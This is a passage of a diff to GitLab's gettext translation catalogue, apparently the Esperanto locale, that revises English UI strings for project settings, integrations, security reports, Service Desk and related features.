+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "Planado de la ĉenstabloj"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr "Elektu horzonon"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "kreos pasvorton"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "La etapo de preparo por eldono montras la tempon inter la aplikado de la peto pri kunfando kaj la disponigado de la kodo en la publika versio. La datenoj aldoniÄos aÅ­tomate post kiam vi faros la unuan disponigadon en la publika versio."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
